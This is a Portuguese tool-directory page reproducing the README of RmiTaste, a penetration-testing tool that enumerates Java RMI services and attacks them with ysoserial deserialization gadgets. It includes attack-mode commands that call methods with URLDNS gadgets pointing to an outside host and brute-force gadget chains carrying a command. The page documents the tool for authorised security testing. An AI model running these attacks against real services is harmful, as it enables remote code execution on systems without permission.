Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
RmiTaste — Ferramenta de teste de segurança Java RMI para detectar, enumerar e explorar serviços RMI inseguros usando gadgets de desserialização ysoserial para obter execução remota de código. | Kitploit
Ferramentas/GitHubGitHub/stmcyber/rmitaste
Análise de VulnerabilidadesExploraçãoTestes de Penetração
GitHubstmcyber/rmitaste

RmiTaste

Ferramenta de teste de segurança Java RMI para detectar, enumerar e explorar serviços RMI inseguros usando gadgets de desserialização ysoserial para obter execução remota de código.

Ver RepositórioSite
1092011há 5 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

License

RmiTaste

RmiTaste permite que profissionais de segurança detectem, enumerem, interajam e ataquem serviços RMI chamando métodos remotos com gadgets do ysoserial. Também permite chamar métodos remotos com parâmetros específicos.

Aviso Legal

O RmiTaste foi criado para auxiliar profissionais de segurança na identificação de serviços RMI inseguros em sistemas para os quais o usuário tem permissão prévia para atacar. O acesso não autorizado a sistemas computacionais é ilegal e o RmiTaste deve ser usado de acordo com todas as leis relevantes. O não cumprimento disso pode levar à sua acusação. Os desenvolvedores do RmiTaste não assumem nenhuma responsabilidade e não se responsabilizam por qualquer uso indevido ou dano causado por este programa.

Compilação e Execução

Requer openjdk 11.0.3.

  1. Baixe o ysoserial-master-SNAPSHOT.jar e salve-o no diretório libs_attack (https://github.com/frohoff/ysoserial).
  2. Compile o projeto usando maven:
    root@kitploit:~
    mvn package
    
  3. Execute o comando:
    root@kitploit:~
    java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste -h
    
    
     __________        ._____________                __
     \______   \ _____ |__\__    ___/____    _______/  |_  ____
     |       _//     \|  | |    |  \__  \  /  ___/\   __\/ __ \
     |    |   \  Y Y  \  | |    |   / __ \_\___ \  |  | \  ___/
     |____|_  /__|_|  /__| |____|  (____  /____  > |__|  \___  >
           \/      \/                  \/     \/            \/
     @author Marcin Ogorzelski (mzero - @_mzer0) STM Solutions
    
    Warning: RmiTaste was written to aid security professionals in identifying the
             insecure use of RMI services on systems which the user has prior
             permission to attack. RmiTaste must be used in accordance with all
             relevant laws. Failure to do so could lead to your prosecution.
             The developers assume no liability and are not responsible for any
             misuse or damage caused by this program.
    
    

Uso

O RmiTaste possui 4 modos: conn, enum, attack e call. Cada modo tem uma ajuda separada.

root@kitploit:~
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste -h
(...)
Usage: <main class> [-h] [COMMAND]
  -h, --help   display this help message
Commands:
  conn    check connection to host
  enum    enumerate RMI service
  attack  attack RMI registry methods
  call    call specific method on RMI remote object

Modo conn

O modo conn permite verificar se a porta é uma porta de serviço RMI.

root@kitploit:~
# Verificar se 127.0.0.1:1099 é um serviço RMI
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste conn -t 127.0.0.1 -p 1099

Modo enum

O modo enum permite obter informações sobre o serviço RMI, como: nomes de objetos remotos e nomes de classes que o objeto remoto implementa ou estende. Se a interface implementada pelo objeto remoto estiver disponível no classpath do RmiTaste, o RmiTaste imprimirá todos os métodos remotos que podem ser chamados nesse objeto remoto.

root@kitploit:~
# Enumeração do serviço RMI
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste enum -t 127.0.0.1 -p 1099

Modo attack

O modo attack permite chamar um método remoto com uma cadeia de gadgets específica do ysoserial. Suponha que o objeto remoto tenha os seguintes métodos:

root@kitploit:~
acc1 [object] [127.0.1.1:38293] 
         implements java.rmi.Remote [interface]
         extends java.lang.reflect.Proxy [class]
         implements m0.rmitaste.example.server.ClientAccount [interface]
                setPin(java.lang.String param0); [method]
                        Parameters: param0;  may be vulnerable to Java Deserialization! [info]
                getBalance(); [method]
                deposit(java.lang.Object param0); [method]
                        Parameters: param0;  may be vulnerable to Java Deserialization! [info]
                withdraw(float param0); [method]
root@kitploit:~
# Chamar todos os métodos remotos com o gadget URLDNS como parâmetro
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste attack -t 127.0.0.1 -p 1099 -g "URLDNS" -c "http://rce.mzero.pl"
root@kitploit:~
# Chamar o método acc1:m0.rmitaste.example.server.ClientAccount:deposit com o gadget URLDNS como parâmetro
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste attack -t 127.0.0.1 -p 1099 -m "acc1:m0.rmitaste.example.server.ClientAccount:deposit" -g "URLDNS" -c "http://rce.mzero.pl"

A opção "-gen bruteforce" permite forçar o método remoto com gadgets do ysoserial. Neste exemplo, o método deposit será chamado várias vezes com gadgets do ysoserial.

root@kitploit:~
# Chamar o método acc1:m0.rmitaste.example.server.ClientAccount:deposit com gadgets do ysoserial e o comando ping 127.0.0.1
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste attack -t 127.0.0.1 -p 1099 -m "acc1:m0.rmitaste.example.server.ClientAccount:deposit" -gen bruteforce -c "ping 127.0.0.1"

Modo call

O modo call permite chamar um método específico em um objeto remoto RMI. Suponha que o objeto remoto tenha os seguintes métodos:

root@kitploit:~
acc1 [object] [127.0.1.1:38293] 
         implements java.rmi.Remote [interface]
         extends java.lang.reflect.Proxy [class]
         implements m0.rmitaste.example.server.ClientAccount [interface]
                setPin(java.lang.String param0); [method]
                        Parameters: param0;  may be vulnerable to Java Deserialization! [info]
                getBalance(); [method]
                deposit(java.lang.Object param0); [method]
                        Parameters: param0;  may be vulnerable to Java Deserialization! [info]
                withdraw(float param0); [method]
root@kitploit:~
# Chamar o método m0.rmitaste.example.server.ClientAccount.getBalance no objeto remoto acc1
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste call -t 127.0.0.1 -p 1099 -m "acc1:m0.rmitaste.example.server.ClientAccount:getBalance"
root@kitploit:~
# Chamar o método m0.rmitaste.example.server.ClientAccount.setPin("1234") no objeto remoto acc1
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste call -t 127.0.0.1 -p 1099 -m "acc1:m0.rmitaste.example.server.ClientAccount:setPin" -mp "string=1234"

Exemplos

O servidor de demonstração está disponível aqui.

  1. Execute o servidor de demonstração.

  2. Enumere o alvo.

root@kitploit:~
root@keyisinyourmind:/media/sf_pentest2/Tools/python/Toolset/Others/RmiTasteTool# java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste enum -t 127.0.0.1 -p 1099
acc1 [object] [127.0.1.1:42881] 
   extends java.rmi.server.RemoteObjectInvocationHandler [class]
   implements java.rmi.Remote [interface]
   extends java.lang.reflect.Proxy [class]
   extends java.rmi.server.RemoteObject [class]
   implements m0.rmitaste.example.server.ClientAccount [interface]
  	No methods found. I don't have remote object interface. Give it to me!

acc2 [object] [127.0.1.1:42881] 
   extends java.rmi.server.RemoteObjectInvocationHandler [class]
   implements java.rmi.Remote [interface]
   extends java.lang.reflect.Proxy [class]
   extends java.rmi.server.RemoteObject [class]
   implements m0.rmitaste.example.server.ClientAccount [interface]
  	No methods found. I don't have remote object interface. Give it to me!

Como você pode ver, o RmiTaste precisa da interface do objeto remoto. Durante testes de penetração, você terá que encontrar essa interface. Neste exemplo, basta copiar rmitaste.examples-1.0-SNAPSHOT-all.jar para o diretório libs_attack. Enumere o alvo novamente:

root@kitploit:~
acc1 [object] [127.0.1.1:42881] 
   extends java.rmi.server.RemoteObjectInvocationHandler [class]
   implements java.rmi.Remote [interface]
   extends java.lang.reflect.Proxy [class]
   extends java.rmi.server.RemoteObject [class]
   implements m0.rmitaste.example.server.ClientAccount [interface]
  	setPin(java.lang.String param0); [method]
  		Parameters: param0;  may be vulnerable to Java Deserialization! [info]
  	getBalance(); [method]
  	deposit(java.lang.Object param0); [method]
  		Parameters: param0;  may be vulnerable to Java Deserialization! [info]
  	withdraw(float param0); [method]

acc2 [object] [127.0.1.1:42881] 
   extends java.rmi.server.RemoteObjectInvocationHandler [class]
   implements java.rmi.Remote [interface]
   extends java.lang.reflect.Proxy [class]
   extends java.rmi.server.RemoteObject [class]
   implements m0.rmitaste.example.server.ClientAccount [interface]
  	setPin(java.lang.String param0); [method]
  		Parameters: param0;  may be vulnerable to Java Deserialization! [info]
  	getBalance(); [method]
  	deposit(java.lang.Object param0); [method]
  		Parameters: param0;  may be vulnerable to Java Deserialization! [info]
  	withdraw(float param0); [method]

Autor

Twitter: @_mzer0

Inspirado por: BaRMIe e @h0ng10 artigo

Baixar ferramenta